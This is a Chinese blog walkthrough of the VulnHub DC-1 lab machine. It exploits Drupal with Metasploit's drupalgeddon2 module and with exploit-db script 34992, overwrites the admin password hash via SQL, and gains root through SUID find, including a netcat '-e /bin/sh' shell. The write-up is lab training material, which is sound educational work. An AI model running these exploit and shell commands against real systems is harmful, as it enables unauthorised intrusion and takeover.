首页 > 其他分享 >DC-1

DC-1

时间:2024-08-18 18:37:20浏览次数:13  
标签:admin DC 192.168 Drupal 权限 root find

环境搭建

  靶机下载地址:
https://download.vulnhub.com/dc/DC-1.zip

  选择高版本的vmware,不然可能不支持ova导入
下载导入开机vmware设置选择nat模式,目的让你的攻击机和靶机在一个网段,可以根据网络环境自行设置只要在一个网段就行。

  ‍

  kali攻击机:192.168.98.136

靶机渗透

信息收集

扫描主机

netdiscover -i eth0(自己网卡的名称,有的外接网卡为wlan0) -r 192.168.98.136(自己虚拟机的IP)/24

image

  发现目录ip为 192.168.98.139

扫描端口:

masscan --rate=100000 -p 0-65535 192.168.98.139

image

  发现开放端口为:56790、80、22、111

详细扫描

nmap -T4 -sV -O -p 22,80,111,56790 192.168.98.139

image

目录扫描

  访问ip的80端口是一个网站

image

  使用gobuster目录扫描:

gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.98.139 -t 30

image

web应用指纹信息

whatweb http://192.168.98.139

image

  发现使用Drupal 7系统

漏洞挖掘

漏洞利用

  访问80端口

image

  尝试弱口令登录和忘记密码,都无果,但是发现有admin用户的存在

  Drupal 7系统去漏洞库和msf搜索一下

msfconsole
search Drupal

image

  使用这个漏洞来打 Drupal CVE-2018-7600 (poc解释:https://paper.seebug.org/567/ https://www.exploit-db.com/exploits/44482

  这个cve用的比较多,百度一搜都是这个。。。正好可以利用这个漏洞

image

  为什么用这个打呢,

msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.98.139
run

image

寻找flag

shell
//用python打开一个标准的shell
python -c "import pty;pty.spawn('/bin/bash')"
//寻找flag文件
find / -name flag*

  使用这个搜索命令有时候会出错,只会在当前目录下搜素,但事实上应该是从根目录开始的!

image

  查看flag文件,意思是:每一个好的CMS都需要一个配置文件--你也一样。

image

登录数据库

  搜索Drupal的配置文件
/var/www/sites/default/settings.php,打开

cat /var/www/sites/default/settings.ph

  发现flag2文件和数据库账号密码

账号:dbuser
密码:R0ck3t

image

  登录数据库

mysql -u dbuser -p

  登录数据库成功:

image

  查看版本

select version();

image

  查看数据库

show databases;

image

image

  查看一下node和user表,发现flag3

  查看node表:

image

  查看user表:

image

  为什么要看node表呢???(user表就不说了吧)
因为drupal node机制drupal node机制理解 ,我也不知道该怎么解释,似懂非懂。。。

  尝试获得登录的密码,hash值破解可能不太现实,
我们注册一个账号将二者hash互换不就可以了,但是在注册时,并不能设置密码。

  注意:这里可以找到加密脚本自己加密一个密码

方法一:更换admin密码

  加密脚本位置:

  ​/var/www/scripts/password-hash.sh

image

  加密脚本用法:

image

  进入shell会话,找准目录,执行:

php scripts/password-hash.sh admin

image

  加密后的hash值:

$S$DB6TfK3H1YgEJqh0oL9V5craxluLQR3aatxZ0V1fqKWo9NWE4sxY

  修改语句:

update users set pass = '$S$DB6TfK3H1YgEJqh0oL9V5craxluLQR3aatxZ0V1fqKWo9NWE4sxY' where name='admin';

image

  下面登录测试一下,账号admin密码admin

  登录成功:

image

  在content中点击flag3发现:

image

  意思是:

  Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

  也就是说我们需要寻找密码,而且提示shadow,但是shadow文件也没有权限查看

方法二:添加新用户

  在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便了破解admin的密码,更直接

  查看Drupal版本,确定Drupal版本为7.24

cat /var/www/includes/bootstrap.inc | grep VERSION

  ‍

image

 searchsploit drupal

  攻击脚本适用于7.31以下,所以适合7.24版本

image

  利用drupal7.0版本漏洞增加有admin权限的用户:admin1/admin1

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.98.139 -u admin1 -p admin1

  注意这里要使用python2来执行!

image

  查看一下数据库中users表有没有记录:

image

  成功添加了一个admin1用户

  使用新添加的用户admin1/admin1登录网站,在content模块下,找到flag3

  成功用admin1登录:

image

  ‍

  ‍

  查看一下flag4:

image

  意思应该是让获得管理员权限,再去root目录下去看看,再根据之前的提示,查看一下shadow,也是需要权限的:

image

image

  没办法,尝试给权限也没有,只能提权了

  ‍

suid提权

  ​SUID​是set uid​的简称,它出现在文件所属主权限的执行位上面,标志为 s 。当设置了SUID后,UMSK第一位为4。我们知道,我们账户的密码文件存放在/etc/shadow​中,而/etc/shadow​的权限为 ----------。

  也就是说:只有root​用户可以对该目录进行操作,而其他用户连查看的权限都没有。当普通用户要修改自己的密码的时候,可以使用passwd​这个指令。

  ​passwd​这个指令在/bin/passwd​下,当我们执行这个命令后,就可以改/etc/shadow​下的密码了。那么为什么我们可以通过passwd​这个指令去修改一个我们没有权限的文件呢?

  这里就用到了suid​,suid​的作用是让执行该命令的用户以该命令拥有者即root的权限去执行,意思是当普通用户执行passwd​时会拥有root​的权限,这样就可以修改/etc/passwd​这个文件了。

  参考文章:Linux下的用户、组和权限

  已知的可用来提权的linux可行性的文件列表如下:
nmap,vim,find,bash,more,less,nano,cp

  发现系统上运行的所有SUID可执行文件

不同系统适用于不同的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

image

  尝试查看find是否有suid权限

/usr/bin/find /tmp -exec whoami  \;

  ​find ​命令说明
-exec​ 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。

  ​-exec​参数后面跟的就是我们想进一步操作的命令,所以,我们可以以root的权限命令执行了

image

  反弹一个shell,当然find和执行命令,我们也可以返回一个root的netcat的后门​​

# 第一种方法
/usr/bin/find ./aaa -exec '/bin/sh'  \;
# 第二种方法
/usr/bin/find ./aaa -exec netcat -lvp 4444 -e "/bin/sh" \;
netcat 192.168.124.145 4444

  第一种方法:

  注意记得在当前目录下创建一个aaa文件,跟你的命令对应上,随便什么都可以。

image

image

  第二种就是用netcat 反弹shell

image

image

拿下flag

  通过flag3的提示在root目录下,找到了thefinalflag.txt​ 文件,之前使用find命令时并没有发现这个文件,也不知道什么情况。。。。提权之后,直接读取这个flag即可!

  ‍

总结

  1. msf的熟练使用以及搜索可利用漏洞(Drupal);
  2. 留意目标网站的配置文件(慢慢查看别错过重要信息);
  3. 数据库管理员提权(更新管理员密码或者添加一个新用户);
  4. suid提权的命令(nmap、vim、find、bash、more、less、nano、cp)。

  ‍

标签:admin,DC,192.168,Drupal,权限,root,find
From: https://www.cnblogs.com/itchen-2002/p/18365914/dc1-1eysac

相关文章

  • DC-3
    靶机介绍名称:DC:3.2发布日期:25Apr2020难度:初级下载地址:https://download.vulnhub.com/dc/DC-3-2.zip环境搭建下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版‍kali攻击机:192......
  • DC-4
    靶机介绍靶场下载地址:https://download.vulnhub.com/dc/DC-4.zip环境搭建下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版kali攻击机:192.168.98.136靶机渗透信息收集扫描主机​​可知靶机......
  • ThreadCore学习
    1.线程中的异常处理一般线程里面不允许出现异常,需要自己处理好,最好在线程里加个trycatch,#region异常处理//线程里面的异常是被吞掉了,因为已经脱离了try的范围了,WaitAll抓到多线程里面全部的异常//线程里面不允许出现......
  • 身份证信息认证服务—— Identity IdCard OCR API
    IdentityIdCardOCRAPI对接说明本文将介绍一种通过输入身份证图片或姓名和身份证号码,来校验姓名和身份证号的真实性和一致性。本接口用于校验姓名和身份证号的真实性和一致性,您可以通过输入姓名和身份证号或传入身份证人像面照片提供所需验证信息。我们的上游是接入了......
  • 使用 preloadComponents 进行组件预加载
    title:使用preloadComponents进行组件预加载date:2024/8/18updated:2024/8/18author:cmdragonexcerpt:摘要:本文介绍Nuxt3中的preloadComponents功能,用于预加载全局注册的组件以减少首次渲染阻塞时间,通过实例演示如何设置并使用该工具来提升页面性能。categories:......
  • lit tailwindcss vite模板
    pnpmcreatevite@latestmy-project----templatelitcdmy-projectpnpminstall-Dtailwindcsspostcssautoprefixersass-embeddednpxtailwindcssinit-ptailwindcss.config.js:/**@type{import('tailwindcss').Config}*/exportdefault{core......
  • 震惊,ADC时钟频率不是84Mhz?
    前言单片机只能去处理数字量(0/1),但不能去处理一些多值数据(模拟电压值),如果需要处理模拟量,需要借助模数转换器(ADC)进行转换,把模拟量转换为MCU可以处理的离散数字量。一、ADC时钟说明由时钟树我们可知,ADC挂载在APB2上,那么它的频率本应该是84Mhz,但事实果真如此吗?其实不是的......
  • 关于ADC的一些总结
    前言        由于在STM32单片机中,主要是数字电路,而数字电路没有多少伏电压的概念,只有高电平和低电平两个概念,如果想要读取电压值,则需要经过ADC模数转换来读取对应引脚的模拟电压,然后存放到对应的寄存器种,通过变量来读取从而进行显示、判断等操作。1.ADC(Analog-Digita......
  • containerd + nerdctl安装
    下载所需依赖#containerd包wgethttps://github.com/containerd/containerd/releases/download/v1.6.8/containerd-1.6.8-linux-amd64.tar.gztarCxzvf/usr/localcontainerd-1.6.8-linux-amd64.tar.gz#runcwgethttps://github.com/opencontainers/runc/releases/downl......
  • 智匠MindCraft AI 1.2.6版本更新啦!!
    智匠MindCraftAI​​​​​​​迎来1.2.6版本更新,本次更新四大内容:1、网页代码及python代码渲染优化。更稳定的代码渲染功能,您可以在智匠AI中,实现炫酷的网页效果,或者用python制作图表和游戏。2、语音实验室增加语音识别功能,可识别多国语言和方言。用户可以在语音实验室中,选......